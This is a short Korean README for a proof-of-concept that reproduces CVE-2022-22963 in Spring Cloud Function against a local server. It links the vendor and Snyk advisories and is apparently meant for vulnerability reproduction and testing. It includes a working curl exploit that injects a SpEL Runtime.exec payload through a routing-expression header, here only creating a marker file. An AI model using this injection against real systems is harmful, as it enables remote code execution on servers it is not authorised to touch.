CVE-2022-22963 원격 코드 실행 개념 증명

org.springframework.cloud:spring-cloud-function-core에서 CVE-2022-22963 원격 코드 실행을 재현하기 위한 최소 예제입니다.

익스플로잇

서버 실행

mvn spring-boot:run

요청 보내기

curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch PWNED")' -d xxx http://127.0.0.1:8080/functionRouter

익스플로잇 결과로 pom.xml 근처에 PWNED 파일이 생성됩니다.

추가 정보

• 원본 권고: https://tanzu.vmware.com/security/cve-2022-22963
• Snyk 권고: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKCLOUD-2436645
• 이 PoC는 다음을 기반으로 합니다: https://github.com/Pizz33/Spring-Cloud-Function-SpEL